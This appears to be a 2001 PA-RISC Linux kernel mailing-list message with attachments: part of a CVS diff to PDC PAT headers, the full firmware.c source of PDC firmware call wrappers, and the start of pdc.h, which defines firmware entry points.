-/* PDC_PAT_PD_GET_ADDR_MAP entry types */
-
-#define PAT_MEMORY_DESCRIPTOR           1
-
-/* PDC_PAT_PD_GET_ADDR_MAP memory types */
-
-#define PAT_MEMTYPE_MEMORY              0
-#define PAT_MEMTYPE_FIRMWARE            4
-
-/* PDC_PAT_PD_GET_ADDR_MAP memory usage */
-
-#define PAT_MEMUSE_GENERAL              0
-#define PAT_MEMUSE_GI                 128
-#define PAT_MEMUSE_GNI                129
-
 #ifndef __ASSEMBLY__
 #include <linux/types.h>
 
@@ -210,82 +33,12 @@ struct pdc_pat_cell_info_rtn_block {
 
 typedef struct pdc_pat_cell_info_rtn_block pdc_pat_cell_info_rtn_block_t;
 
-/* FIXME: mod[508] should really be a union of the various mod components */
-struct pdc_pat_cell_mod_maddr_block {	/* PDC_PAT_CELL_MODULE */
-	unsigned long cba;              /* function 0 configuration space address */
-	unsigned long mod_info;         /* module information */
-	unsigned long mod_location;     /* physical location of the module */
-	unsigned long mod_path;         /* module path (device path - layers) */
-	unsigned long mod[508];		/* PAT cell module components */
-} __attribute__((aligned(8))) ;
-
-typedef struct pdc_pat_cell_mod_maddr_block pdc_pat_cell_mod_maddr_block_t;
-
-struct pdc_pat_io_num {
-	unsigned long num;
-	unsigned long reserved[31];
-};
-
-
  struct pdc_pat_pd_addr_map_rtn {
 	unsigned long actual_len;       /* actual # bytes in address map */
 	unsigned long reserved[31];
 } __attribute__((aligned(8))) ;
 
-struct pdc_pat_pd_addr_map_entry {
-	unsigned char entry_type;       /* 1 = Memory Descriptor Entry Type */
-	unsigned char reserve1[5];
-	unsigned char memory_type;
-	unsigned char memory_usage;
-	unsigned long paddr;
-	unsigned int  pages;            /* Length in 4K pages */
-	unsigned int  reserve2;
-	unsigned long cell_map;
-} __attribute__((aligned(8))) ;
-
-extern int pdc_pat_cell_get_number(void *);
-extern int pdc_pat_cell_module(void *, unsigned long, unsigned long, unsigned long, void *);
-extern int pdc_pat_cell_num_to_loc(void *, unsigned long);
-
-#ifdef __LP64__
-extern int pdc_pat_get_irt_size(void *r_addr, unsigned long cell_num);
-extern int pdc_pat_get_irt(void *r_addr, unsigned long cell_num);
-#else
-/* No PAT support for 32-bit kernels...sorry */
-#define pdc_pat_get_irt_size(r_addr, cell_numn)	PDC_RET_NE_PROC
-#define pdc_pat_get_irt(r_addr, cell_num)	PDC_RET_NE_PROC
-#endif
-
 extern int pdc_pat_pd_get_addr_map(void *, void *, unsigned long, unsigned long);
-
-/********************************************************************
-* PDC_PAT_CELL[Return Cell Module] memaddr[0] conf_base_addr
-* ----------------------------------------------------------
-* Bit  0 to 51 - conf_base_addr
-* Bit 52 to 62 - reserved
-* Bit       63 - endianess bit
-********************************************************************/
-#define PAT_GET_CBA(value) ((value) & 0xfffffffffffff000UL)
-
-/********************************************************************
-* PDC_PAT_CELL[Return Cell Module] memaddr[1] mod_info
-* ----------------------------------------------------
-* Bit  0 to  7 - entity type
-*    0 = central agent,            1 = processor,
-*    2 = memory controller,        3 = system bus adapter,
-*    4 = local bus adapter,        5 = processor bus converter,
-*    6 = crossbar fabric connect,  7 = fabric interconnect,
-*    8 to 254 reserved,            255 = unknown.
-* Bit  8 to 15 - DVI
-* Bit 16 to 23 - IOC functions
-* Bit 24 to 39 - reserved
-* Bit 40 to 63 - mod_pages
-*    number of 4K pages a module occupies starting at conf_base_addr
-********************************************************************/
-#define PAT_GET_ENTITY(value)	(((value) >> 56) & 0xffUL)
-#define PAT_GET_DVI(value)	(((value) >> 48) & 0xffUL)
-#define PAT_GET_IOC(value)	(((value) >> 40) & 0xffUL)
-#define PAT_GET_MOD_PAGES(value)(((value) & 0xffffffUL)
 
 #endif /* __ASSEMBLY__ */
 
Index: include/asm-parisc/processor.h
===================================================================
RCS file: /home/cvs/parisc/linux/include/asm-parisc/processor.h,v
retrieving revision 1.41
diff -u -p -r1.41 processor.h
--- processor.h	2001/03/02 08:28:56	1.41
+++ processor.h	2001/03/29 07:57:59
@@ -51,8 +51,8 @@ struct system_cpuinfo_parisc {
 
 	struct {
 		struct pdc_model model;
-		struct pdc_model_cpuid /* ARGH */ versions;
-		struct pdc_model_cpuid cpuid;
+		unsigned long versions;
+		unsigned long cpuid;
 #if 0
 		struct pdc_model_caps caps;
 #endif

--ZGiS0Q5IWpPtfppv
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="firmware.c"

/* arch/parisc/kernel/pdc.c  - safe pdc access routines
 *
 * Copyright 1999 SuSE GmbH Nuernberg (Philipp Rumpf, prumpf@tux.org)
 * portions Copyright 1999 The Puffin Group, (Alex deVries, David Kennedy)
 *
 * only these routines should be used out of the real kernel (i.e. everything
 * using virtual addresses) for obvious reasons */

/*	I think it would be in everyone's best interest to follow this
 *	guidelines when writing PDC wrappers:
 *
 *	 - the name of the pdc wrapper should match one of the macros
 *	   used for the first two arguments
 *	 - don't use caps for random parts of the name
 *	 - use ASSERT_ALIGN to ensure the aligment of the arguments is
 *	   correct
 *	 - use __pa() to convert virtual (kernel) pointers to physical
 *	   ones.
 *	 - the name of the struct used for pdc return values should equal
 *	   one of the macros used for the first two arguments to the
 *	   corresponding PDC call
 *	 - keep the order of arguments
 *	 - don't be smart (setting trailing NUL bytes for strings, return
 *	   something useful even if the call failed) unless you are sure
 *	   it's not going to affect functionality or performance
 *
 *	Example:
 *	int pdc_cache_info(struct pdc_cache_info *cache_info )
 *	{
 *		ASSERT_ALIGN(cache_info, 8);
 *	
 *		return mem_pdc_call(PDC_CACHE,PDC_CACHE_INFO,__pa(cache_info),0);
 *	}
 *					prumpf	991016	
 */

#include <linux/kernel.h>
#include <linux/string.h>
#include <linux/spinlock.h>

#include <asm/page.h>
#include <asm/pdc.h>
#include <asm/system.h>

#include <stdarg.h>

static spinlock_t pdc_lock = SPIN_LOCK_UNLOCKED;
static unsigned long pdc_result[32] __attribute__ ((aligned (8)));
static unsigned long pdc_result2[32] __attribute__ ((aligned (8)));

/* on all currently-supported platforms, IODC I/O calls are always
 * 32-bit calls, and MEM_PDC calls are always the same width as the OS.
 * This means Cxxx boxes can't run wide kernels right now. -PB
 *
 * CONFIG_PDC_NARROW has been added to allow 64-bit kernels to run on
 * systems with 32-bit MEM_PDC calls. This will allow wide kernels to
 * run on Cxxx boxes now. -RB
 *
 * Note that some PAT boxes may have 64-bit IODC I/O...
 */

/* yes 'int', not 'long' -- IODC I/O is always 32-bit stuff */
#ifdef __LP64__
static long real64_call(unsigned long function, ...);
#endif
static long real32_call(unsigned long function, ...);

#if defined(__LP64__) && ! defined(CONFIG_PDC_NARROW)
#define MEM_PDC (unsigned long)(PAGE0->mem_pdc_hi) << 32 | PAGE0->mem_pdc
#   define mem_pdc_call(args...) real64_call(MEM_PDC, args)
#else
#define MEM_PDC (unsigned long)PAGE0->mem_pdc
#   define mem_pdc_call(args...) real32_call(MEM_PDC, args)
#endif


#define ASSERT_ALIGN(ptr, align)					\
	do { if(((unsigned long)(ptr)) & (align-1)) {			\
		printk("PDC: %s:%d  %s() called with "	\
			"unaligned argument from %p", __FILE__, __LINE__, \
			__FUNCTION__, __builtin_return_address(0));	\
									\
		return -1;						\
	} } while(0)
	
/**
 * f_extend - Convert PDC addresses to kernel addresses.
 * @address: Address returned from PDC.
 *
 * This function is used to convert PDC addresses into kernel addresses
 * when the PDC address size and kernel address size are different.
 */
static unsigned long f_extend(unsigned long address)
{
#ifdef CONFIG_PDC_NARROW
	if((address & 0xff000000) == 0xf0000000)
		return 0xf0f0f0f000000000 | (u32)address;

	if((address & 0xf0000000) == 0xf0000000)
		return 0xffffffff00000000 | (u32)address;
#endif
	return address;
}

/**
 * convert_to_wide - Convert the return buffer addresses into kernel addresses.
 * @address: The return buffer from PDC.
 *
 * This fucntion is used to convert the return buffer addresses retrieve from PDC
 * into kernel addresses when the PDC address size and kernel address size are
 * different.
 */
static void convert_to_wide(unsigned long *addr)
{
#ifdef CONFIG_PDC_NARROW
	int i;
	unsigned *p = (unsigned int *)addr;
	for(i = 31; i >= 0; --i)
		addr[i] = p[i];
#endif
}

/**
 * pdc_add_valid - Verify address can be accessesd without causing a HPMC.
 * @address: Address to be verified.
 *
 * This PDC call attempts to read from the specified address and verify
 * the address is valid.
 */
int pdc_add_valid(void *address)
{
        int retval;

        spin_lock_irq(&pdc_lock);
        retval = mem_pdc_call(PDC_ADD_VALID, PDC_ADD_VALID_VERIFY, address);
        spin_unlock_irq(&pdc_lock);

        return retval;
}

/**
 * pdc_chassis_info - Return chassis information.
 * @result: The return buffer.
 * @chassis_info: The memory buffer address.
 * @len: The size of the memory buffer address.
 *
 * An HVERSION dependent call for returning the chassis information.
 */
int pdc_chassis_info(struct pdc_chassis_info *chassis_info, void *led_info, unsigned long len)
{
        int retval;

        spin_lock_irq(&pdc_lock);
        retval = mem_pdc_call(PDC_CHASSIS, PDC_RETURN_CHASSIS_INFO,
                              __pa(pdc_result), __pa(pdc_result2), len);
	memcpy(chassis_info, pdc_result, sizeof(*chassis_info));
	memcpy(led_info, pdc_result2, sizeof(*led_info));
        spin_unlock_irq(&pdc_lock);

        return retval;
}

/**
 * pdc_coproc_cfg - To identify coprocessors attached to the processor.
 * @pdc_coproc_info: Return buffer address.
 *
 * This PDC call returns the presence and status of all the coprocessors
 * attached to the processor.
 */
int pdc_coproc_cfg(struct pdc_coproc_cfg *pdc_coproc_info)
{
        int retval;

        spin_lock_irq(&pdc_lock);
        retval = mem_pdc_call(PDC_COPROC, PDC_COPROC_CFG, __pa(pdc_result));
        convert_to_wide(pdc_result);
        pdc_coproc_info->ccr_functional = pdc_result[0];
        pdc_coproc_info->ccr_present = pdc_result[1];
        pdc_coproc_info->revision = pdc_result[17];
        pdc_coproc_info->model = pdc_result[18];
        spin_unlock_irq(&pdc_lock);

        return retval;
}

/**
 * pdc_iodc_read - Read data from the modules IODC.
 * @actcnt: The actual number of bytes.
 * @hpa: The HPA of the module for the iodc read.
 * @index: The iodc entry point.
 * @iodc_data: A buffer memory for the iodc options.
 * @iodc_data_size: Size of the memory buffer.
 *
 * This PDC call reads from the IODC of the module specified by the hpa
 * argument.
 */
int pdc_iodc_read(unsigned long *actcnt, void *hpa, unsigned int index,
		  void *iodc_data, unsigned int iodc_data_size)
{
	int retval;

	spin_lock_irq(&pdc_lock);
	retval = mem_pdc_call(PDC_IODC, PDC_IODC_READ, __pa(pdc_result), hpa, 
			      index, __pa(pdc_result2), iodc_data_size);
	convert_to_wide(pdc_result);
	*actcnt = pdc_result[0];
	memcpy(iodc_data, pdc_result2, iodc_data_size);
	spin_unlock_irq(&pdc_lock);

	return retval;
}

/**
 * pdc_system_map_find_mods - Locate unarchitected modules.
 * @pdc_mod_info: Return buffer address.
 * @mod_path: pointer to dev path structure.
 * @mod_index: fixed address module index.
 *
 * To locate and identify modules which reside at fixed I/O addresses, which
 * do not self-identify via architected bus walks.
 */
int pdc_system_map_find_mods(struct pdc_system_map_mod_info *pdc_mod_info,
			     struct pdc_module_path *mod_path, long mod_index)
{
	int retval;

	spin_lock_irq(&pdc_lock);
	retval = mem_pdc_call(PDC_SYSTEM_MAP, PDC_FIND_MODULE, __pa(pdc_result), 
			      __pa(pdc_result2), mod_index);
	convert_to_wide(pdc_result);
	memcpy(pdc_mod_info, pdc_result, sizeof(*pdc_mod_info));
	memcpy(mod_path, pdc_result2, sizeof(*mod_path));
	spin_unlock_irq(&pdc_lock);

	pdc_mod_info->mod_addr = (void *)f_extend((unsigned long)pdc_mod_info->mod_addr);
	return retval;
}

/**
 * pdc_system_map_find_addrs - Retrieve additional address ranges.
 * @pdc_addr_info: Return buffer address.
 * @mod_index: Fixed address module index.
 * @addr_index: Address range index.
 * 
 * Retrieve additional information about subsequent address ranges for modules
 * with multiple address ranges.  
 */
int pdc_system_map_find_addrs(struct pdc_system_map_addr_info *pdc_addr_info, 
			      long mod_index, long addr_index)
{
	int retval;

	spin_lock_irq(&pdc_lock);
	retval = mem_pdc_call(PDC_SYSTEM_MAP, PDC_FIND_ADDRESS, __pa(pdc_result),
			      mod_index, addr_index);
	convert_to_wide(pdc_result);
	memcpy(pdc_addr_info, pdc_result, sizeof(*pdc_addr_info));
	spin_unlock_irq(&pdc_lock);

	pdc_addr_info->mod_addr = (void *)f_extend((unsigned long)pdc_addr_info->mod_addr);
	return retval;
}

/**
 * pdc_model_info - Return model information about the processor.
 * @model: The return buffer.
 *
 * Returns the version numbers, identifiers, and capabilities from the processor module.
 */
int pdc_model_info(struct pdc_model *model) 
{
	int retval;

	spin_lock_irq(&pdc_lock);
	retval = mem_pdc_call(PDC_MODEL, PDC_MODEL_INFO, __pa(pdc_result), 0);
	convert_to_wide(pdc_result);
	memcpy(model, pdc_result, sizeof(*model));
	spin_unlock_irq(&pdc_lock);

	return retval;
}

/**
 * pdc_model_sysmodel - Get the system model name.
 * @name: A char array of at least 81 characters.
 *
 * Get system model name from PDC ROM (e.g. 9000/715 or 9000/778/B160L)
 */
int pdc_model_sysmodel(char *name)
{
        int retval;

        spin_lock_irq(&pdc_lock);
        retval = mem_pdc_call(PDC_MODEL, PDC_MODEL_SYSMODEL, __pa(pdc_result),
                              OS_ID_HPUX, __pa(name));
        convert_to_wide(pdc_result);

        if (retval == PDC_RET_OK) {
                name[pdc_result[0]] = '\0'; /* add trailing '\0' */
        } else {
                name[0] = 0;
        }
        spin_unlock_irq(&pdc_lock);

        return retval;
}

/**
 * pdc_model_versions - Identify the version number of each processor.
 * @cpu_id: The return buffer.
 * @id: The id of the processor to check.
 *
 * Returns the version number for each processor component.
 *
 * This comment was here before, but I do not know what it means :( -RB
 * id: 0 = cpu revision, 1 = boot-rom-version
 */
int pdc_model_versions(unsigned long *versions, int id)
{
        int retval;

        spin_lock_irq(&pdc_lock);
        retval = mem_pdc_call(PDC_MODEL, PDC_MODEL_VERSIONS, __pa(pdc_result), id);
        convert_to_wide(pdc_result);
        *versions = pdc_result[0];
        spin_unlock_irq(&pdc_lock);

        return retval;
}

/**
 * pdc_model_cpuid - Returns the CPU_ID.
 * @cpu_id: The return buffer.
 *
 * Returns the CPU_ID value which uniquely identifies the cpu portion of
 * the processor module.
 */
int pdc_model_cpuid(unsigned long *cpu_id)
{
        int retval;

        spin_lock_irq(&pdc_lock);
        pdc_result[0] = 0; /* preset zero (call may not be implimented!) */
        retval = mem_pdc_call(PDC_MODEL, PDC_MODEL_CPU_ID, __pa(pdc_result), 0);
        convert_to_wide(pdc_result);
        *cpu_id = pdc_result[0];
        spin_unlock_irq(&pdc_lock);

        return retval;
}

/**
 * pdc_cache_info - Return cache and TLB information.
 * @cache_info: The return buffer.
 *
 * Returns information about the processor's cache and TLB.
 */
int pdc_cache_info(struct pdc_cache_info *cache_info)
{
        int retval;

        spin_lock_irq(&pdc_lock);
        retval = mem_pdc_call(PDC_CACHE, PDC_CACHE_INFO, __pa(pdc_result), 0);
        convert_to_wide(pdc_result);
        memcpy(cache_info, pdc_result, sizeof(*cache_info));
        spin_unlock_irq(&pdc_lock);

        return retval;
}

#ifndef CONFIG_PA20
/**
 * pdc_btlb_info - Return block TLB information.
 * @btlb: The return buffer.
 *
 * Returns information about the hardware Block TLB.
 */
int pdc_btlb_info(struct pdc_btlb_info *btlb) 
{
        int retval;

        spin_lock_irq(&pdc_lock);
        retval = mem_pdc_call(PDC_BLOCK_TLB, PDC_BTLB_INFO, __pa(pdc_result), 0);
        memcpy(btlb, pdc_result, sizeof(*btlb));
        spin_unlock_irq(&pdc_lock);

        if(retval < 0) {
                btlb->max_size = 0;
        }
        return retval;
}
#endif

#ifndef __LP64__
/**
 * pdc_mem_map_hpa - Find fixed module information.  
 * @address: The return buffer
 * @mod_path: pointer to dev path structure.
 *
 * This call was developed for S700 workstations to allow the kernel to find
 * the I/O devices (Core I/O). In the future (Kittyhawk and beyond) this
 * call will be replaced (on workstations) by the architected PDC_SYSTEM_MAP
 * call.
 *
 * This call is supported by all existing S700 workstations (up to  Gecko).
 */
int pdc_mem_map_hpa(struct pdc_memory_map *address, struct pdc_module_path *mod_path)
{
        int retval;

        spin_lock_irq(&pdc_lock);
        memcpy(pdc_result2, mod_path, sizeof(*mod_path));
        retval = mem_pdc_call(PDC_MEM_MAP, PDC_MEM_MAP_HPA, __pa(pdc_result), __pa(pdc_result2));
        memcpy(address, pdc_result, sizeof(*address));
        spin_unlock_irq(&pdc_lock);

        return retval;
}
#endif

/**
 * pdc_lan_station_id - Get the LAN address.
 * @lan_addr: The return buffer.
 * @net_hpa: The network device HPA.
 *
 * Get the LAN station address when it is not directly available from the LAN hardware.
 */
int pdc_lan_station_id(char *lan_addr, void *net_hpa)
{
        int retval;
	unsigned int ret[2];

        spin_lock_irq(&pdc_lock);
        retval = mem_pdc_call(PDC_LAN_STATION_ID, PDC_LAN_STATION_ID_READ,
                              __pa(pdc_result), net_hpa);
        if(retval < 0) {
                /* FIXME: else read MAC from NVRAM */
                memset(lan_addr, 0, PDC_LAN_STATION_ID_SIZE);
        } else {
		ret[0] = (unsigned int)pdc_result[0];
		ret[1] = (unsigned int)pdc_result[1];
		memcpy(lan_addr, ret, PDC_LAN_STATION_ID_SIZE);
        }
        spin_unlock_irq(&pdc_lock);

        return retval;
}

/**
 * pdc_pci_irt_size - Get the number of entries in the interrupt routing table.
 * @num_entries: The return value.
 * @hpa: The HPA for the device.
 *
 * This PDC function returns the number of entries in the specified cell's
 * interrupt table.
 * Similar to PDC_PAT stuff - but added for Forte/Allegro boxes
 */ 
int pdc_pci_irt_size(unsigned long *num_entries, void *hpa)
{
	int retval;

	spin_lock_irq(&pdc_lock);
	retval = mem_pdc_call(PDC_PCI_INDEX, PDC_PCI_GET_INT_TBL_SIZE, 
			      __pa(pdc_result), hpa);
	convert_to_wide(pdc_result);
	*num_entries = pdc_result[0];
	spin_unlock_irq(&pdc_lock);

	return retval;
}

/** 
 * pdc_pci_irt - Get the PCI interrupt routing table.
 * @num_entries: The number of entries in the table.
 * @hpa: The Hard Physical Address of the device.
 * @tbl: 
 *
 * Get the PCI interrupt routing table for the device at the given HPA.
 * Similar to PDC_PAT stuff - but added for Forte/Allegro boxes
 */
int pdc_pci_irt(unsigned long num_entries, void *hpa, void *tbl)
{
	int retval;

	spin_lock_irq(&pdc_lock);
	pdc_result[0] = num_entries;
	retval = mem_pdc_call(PDC_PCI_INDEX, PDC_PCI_GET_INT_TBL, 
			      __pa(pdc_result), hpa, __pa(tbl));
	spin_unlock_irq(&pdc_lock);

	return retval;
}

/**
 * pdc_tod_read - Read the Time-Of-Day clock.
 * @tod: The return buffer:
 *
 * Read the Time-Of-Day clock
 */
int pdc_tod_read(struct pdc_tod *tod)
{
        int retval;

        spin_lock_irq(&pdc_lock);
        retval = mem_pdc_call(PDC_TOD, PDC_TOD_READ, __pa(pdc_result), 0);
        convert_to_wide(pdc_result);
        memcpy(tod, pdc_result, sizeof(*tod));
        spin_unlock_irq(&pdc_lock);

        return retval;
}

/**
 * pdc_tod_set - Set the Time-Of-Day clock.
 * @sec: The number of seconds since epoch.
 * @usec: The number of micro seconds.
 *
 * Set the Time-Of-Day clock.
 */ 
int pdc_tod_set(unsigned long sec, unsigned long usec)
{
        int retval;

        spin_lock_irq(&pdc_lock);
        retval = mem_pdc_call(PDC_TOD, PDC_TOD_WRITE, sec, usec);
        spin_unlock_irq(&pdc_lock);

        return retval;
}

#ifdef __LP64__
int pdc_mem_mem_table(struct pdc_memory_table_raddr *r_addr, struct pdc_memory_table *tbl, 
		      unsigned long entries)
{
	int retval;

	spin_lock_irq(&pdc_lock);
	retval = mem_pdc_call(PDC_MEM, PDC_MEM_TABLE, __pa(pdc_result), __pa(pdc_result2), entries);
	convert_to_wide(pdc_result);
	memcpy(r_addr, pdc_result, sizeof(*r_addr));
	memcpy(tbl, pdc_result2, entries * sizeof(*tbl));
	spin_unlock_irq(&pdc_lock);

	return retval;
}
#endif

/* FIXME: Is this pdc used?  I could not find type reference to ftc_bitmap
 * so I guessed at unsigned long.  Someone who knows what this does, can fix
 * it later. :)
 */
int pdc_do_firm_test_reset(unsigned long ftc_bitmap)
{
        int retval;

        spin_lock_irq(&pdc_lock);
        retval = mem_pdc_call(PDC_BROADCAST_RESET, PDC_DO_FIRM_TEST_RESET,
                              PDC_FIRM_TEST_MAGIC, ftc_bitmap);
        spin_unlock_irq(&pdc_lock);

        return retval;
}

/*
 * pdc_do_reset - Reset the system.
 *
 * Reset the system.
 */
int pdc_do_reset()
{
        int retval;

        spin_lock_irq(&pdc_lock);
        retval = mem_pdc_call(PDC_BROADCAST_RESET, PDC_DO_RESET);
        spin_unlock_irq(&pdc_lock);

        return retval;
}

/**
 * iodc_iodc_putc - Console character print using IODC.
 * @c: the character to output.
 *
 * Note that only these special chars are architected for console IODC io:
 * BEL, BS, CR, and LF. Others are passed through.
 * Since the HP console requires CR+LF to perform a 'newline', we translate
 * "\n" to "\r\n".
 */
void pdc_iodc_putc(unsigned char c)
{
        /* XXX Should we spinlock posx usage */
        static int posx;        /* for simple TAB-Simulation... */
        static int __attribute__((aligned(8)))   iodc_retbuf[32];
        static char __attribute__((aligned(64))) iodc_dbuf[4096];
        unsigned int n;

        switch (c) {
        case '\n':
                iodc_dbuf[0] = '\r';
                iodc_dbuf[1] = '\n';
                n = 2;
                posx = 0;
                break;
        case '\t':
                pdc_iodc_putc(' ');
                while (posx & 7)        /* expand TAB */
                        pdc_iodc_putc(' ');
                return;         /* return since IODC can't handle this */
        case '\b':
                posx-=2;                /* BS */
        default:
                iodc_dbuf[0] = c;
                n = 1;
                posx++;
                break;
        }

        spin_lock_irq(&pdc_lock);
        real32_call(PAGE0->mem_cons.iodc_io,
                    (unsigned long)PAGE0->mem_cons.hpa, ENTRY_IO_COUT,
                    PAGE0->mem_cons.spa, __pa(PAGE0->mem_cons.dp.layers),
                    __pa(iodc_retbuf), 0, __pa(iodc_dbuf), n, 0);
        spin_unlock_irq(&pdc_lock);
}

int pdc_sti_call(unsigned long func, unsigned long flags,
                 unsigned long inptr, unsigned long outputr,
                 unsigned long glob_cfg)
{
        int retval;

        spin_lock_irq(&pdc_lock);  
        retval = real32_call(func, flags, inptr, outputr, glob_cfg);
        spin_unlock_irq(&pdc_lock);

        return retval;
}

#ifdef __LP64__
/**
 * pdc_pat_cell_get_number - Returns the cell number.
 * @cell_info: The return buffer.
 *
 * This PDC call returns the cell number of the cell from which the call
 * is made.
 */
int pdc_pat_cell_get_number(struct pdc_pat_cell_num *cell_info)
{
	int retval;

	spin_lock_irq(&pdc_lock);
	retval = mem_pdc_call(PDC_PAT_CELL, PDC_PAT_CELL_GET_NUMBER, __pa(pdc_result));
	memcpy(cell_info, pdc_result, sizeof(*cell_info));
	spin_unlock_irq(&pdc_lock);

	return retval;
}

/**
 * pdc_pat_cell_module - Retrieve the cell's module information.
 * @actcnt: The number of bytes written to mem_addr.
 * @ploc: The physical location.
 * @mod: The module index.
 * @view_type: The view of the address type.
 * @mem_addr: The return buffer.
 *
 * This PDC call returns information about each module attached to the cell
 * at the specified location.
 */
int pdc_pat_cell_module(unsigned long *actcnt, unsigned long ploc, unsigned long mod,
			unsigned long view_type, void *mem_addr)
{
	int retval;

	spin_lock_irq(&pdc_lock);
	retval = mem_pdc_call(PDC_PAT_CELL, PDC_PAT_CELL_MODULE, __pa(pdc_result), 
			      ploc, mod, view_type, __pa(pdc_result2));
	if(!retval) {
		*actcnt = pdc_result[0];
		memcpy(mem_addr, pdc_result2, *actcnt);
	}
	spin_unlock_irq(&pdc_lock);

	return retval;
}

/**
 * pdc_pat_cpu_get_number - Retrieve the cpu number.
 * @cpu_info: The return buffer.
 * @hpa: The Hard Physical Address of the CPU.
 *
 * Retrieve the cpu number for the cpu at the specified HPA.
 */
int pdc_pat_cpu_get_number(struct pdc_pat_cpu_num *cpu_info, void *hpa)
{
	int retval;

	spin_lock_irq(&pdc_lock);
	retval = mem_pdc_call(PDC_PAT_CPU, PDC_PAT_CPU_GET_NUMBER,
			      __pa(&pdc_result), hpa);
	memcpy(cpu_info, pdc_result, sizeof(*cpu_info));
	spin_unlock_irq(&pdc_lock);

	return retval;
}

/**
 * pdc_pat_get_irt_size - Retrieve the number of entries in the cell's interrupt table.
 * @num_entries: The return value.
 * @cell_num: The target cell.
 *
 * This PDC function returns the number of entries in the specified cell's
 * interrupt table.
 */
int pdc_pat_get_irt_size(unsigned long *num_entries, unsigned long cell_num)
{
	int retval;

	spin_lock_irq(&pdc_lock);
	retval = mem_pdc_call(PDC_PAT_IO, PDC_PAT_IO_GET_PCI_ROUTING_TABLE_SIZE,
			      __pa(pdc_result), cell_num);
	*num_entries = pdc_result[0];
	spin_unlock_irq(&pdc_lock);

	return retval;
}

/**
 * pdc_pat_get_irt - Retrieve the cell's interrupt table.
 * @r_addr: The return buffer.
 * @cell_num: The target cell.
 *
 * This PDC functin returns the actual interrupt table for the specified cell.
 */
int pdc_pat_get_irt(void *r_addr, unsigned long cell_num)
{
	int retval;

	spin_lock_irq(&pdc_lock);
	retval = mem_pdc_call(PDC_PAT_IO, PDC_PAT_IO_GET_PCI_ROUTING_TABLE,
			      __pa(r_addr), cell_num);
	spin_unlock_irq(&pdc_lock);

	return retval;
}

/**
 * pdc_pat_pd_get_addr_map - Retrieve information about memory address ranges.
 * @actlen: The return buffer.
 * @mem_addr: Pointer to the memory buffer.
 * @count: The number of bytes to read from the buffer.
 * @offset: The offset with respect to the beginning of the buffer.
 *
 */
int pdc_pat_pd_get_addr_map(unsigned long *actual_len, void *mem_addr, 
			    unsigned long count, unsigned long offset)
{
	int retval;

	spin_lock_irq(&pdc_lock);
	retval = mem_pdc_call(PDC_PAT_PD, PDC_PAT_PD_GET_ADDR_MAP, __pa(pdc_result), 
			      __pa(pdc_result2), count, offset);
	*actual_len = pdc_result[0];
	memcpy(mem_addr, pdc_result2, *actual_len);
	spin_unlock_irq(&pdc_lock);

	return retval;
}
#endif


/***************** 32-bit real-mode calls ***********/
/* The struct below is used
 * to overlay real_stack (real2.S), preparing a 32-bit call frame.
 * real32_call_asm() then uses this stack in narrow real mode
 */

struct narrow_stack {
	/* use int, not long which is 64 bits */
	unsigned int arg13;
	unsigned int arg12;
	unsigned int arg11;
	unsigned int arg10;
	unsigned int arg9;
	unsigned int arg8;
	unsigned int arg7;
	unsigned int arg6;
	unsigned int arg5;
	unsigned int arg4;
	unsigned int arg3;
	unsigned int arg2;
	unsigned int arg1;
	unsigned int arg0;
	unsigned int frame_marker[8];
	unsigned int sp;
	/* in reality, there's nearly 8k of stack after this */
};

static long real32_call(unsigned long fn, ...)
{
	va_list args;
	extern struct narrow_stack real_stack;
	extern unsigned long real32_call_asm(unsigned int *,
					     unsigned int *, 
					     unsigned int);
	
	va_start(args, fn);
	real_stack.arg0 = va_arg(args, unsigned int);
	real_stack.arg1 = va_arg(args, unsigned int);
	real_stack.arg2 = va_arg(args, unsigned int);
	real_stack.arg3 = va_arg(args, unsigned int);
	real_stack.arg4 = va_arg(args, unsigned int);
	real_stack.arg5 = va_arg(args, unsigned int);
	real_stack.arg6 = va_arg(args, unsigned int);
	real_stack.arg7 = va_arg(args, unsigned int);
	real_stack.arg8 = va_arg(args, unsigned int);
	real_stack.arg9 = va_arg(args, unsigned int);
	real_stack.arg10 = va_arg(args, unsigned int);
	real_stack.arg11 = va_arg(args, unsigned int);
	real_stack.arg12 = va_arg(args, unsigned int);
	real_stack.arg13 = va_arg(args, unsigned int);
	va_end(args);
	
	return real32_call_asm(&real_stack.sp, &real_stack.arg0, fn);
}

#ifdef __LP64__
/***************** 64-bit real-mode calls ***********/

struct wide_stack {
	unsigned long arg0;
	unsigned long arg1;
	unsigned long arg2;
	unsigned long arg3;
	unsigned long arg4;
	unsigned long arg5;
	unsigned long arg6;
	unsigned long arg7;
	unsigned long arg8;
	unsigned long arg9;
	unsigned long arg10;
	unsigned long arg11;
	unsigned long arg12;
	unsigned long arg13;
	unsigned long frame_marker[2];	/* rp, previous sp */
	unsigned long sp;
	/* in reality, there's nearly 8k of stack after this */
};

static long real64_call(unsigned long fn, ...)
{
	va_list args;
	extern struct wide_stack real_stack;
	extern unsigned long real64_call_asm(unsigned long *,
					     unsigned long *, 
					     unsigned long);
    
	va_start(args, fn);
	real_stack.arg0 = va_arg(args, unsigned long);
	real_stack.arg1 = va_arg(args, unsigned long);
	real_stack.arg2 = va_arg(args, unsigned long);
	real_stack.arg3 = va_arg(args, unsigned long);
	real_stack.arg4 = va_arg(args, unsigned long);
	real_stack.arg5 = va_arg(args, unsigned long);
	real_stack.arg6 = va_arg(args, unsigned long);
	real_stack.arg7 = va_arg(args, unsigned long);
	real_stack.arg8 = va_arg(args, unsigned long);
	real_stack.arg9 = va_arg(args, unsigned long);
	real_stack.arg10 = va_arg(args, unsigned long);
	real_stack.arg11 = va_arg(args, unsigned long);
	real_stack.arg12 = va_arg(args, unsigned long);
	real_stack.arg13 = va_arg(args, unsigned long);
	va_end(args);
	
	return real64_call_asm(&real_stack.sp, &real_stack.arg0, fn);
}

#endif


--ZGiS0Q5IWpPtfppv
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="pdc.h"

#ifndef _PARISC_PDC_H
#define _PARISC_PDC_H

/*
    PDC entry points...
*/

#define PDC_POW_FAIL	1		/* perform a power-fail		*/
#define PDC_POW_FAIL_PREPARE	0	/* prepare for powerfail	*/

#define PDC_CHASSIS	2		/* PDC-chassis functions	*/
#define PDC_CHASSIS_DISP	0	/* update chassis display	*/
#define PDC_CHASSIS_WARN	1	/* return chassis warnings	*/
#define PDC_CHASSIS_DISPWARN	2	/* update&return chassis status */
#define PDC_RETURN_CHASSIS_INFO 128	/* HVERSION dependend: return chassis LED/LCD info  */

#define PDC_PIM         3               /* Get PIM data                 */
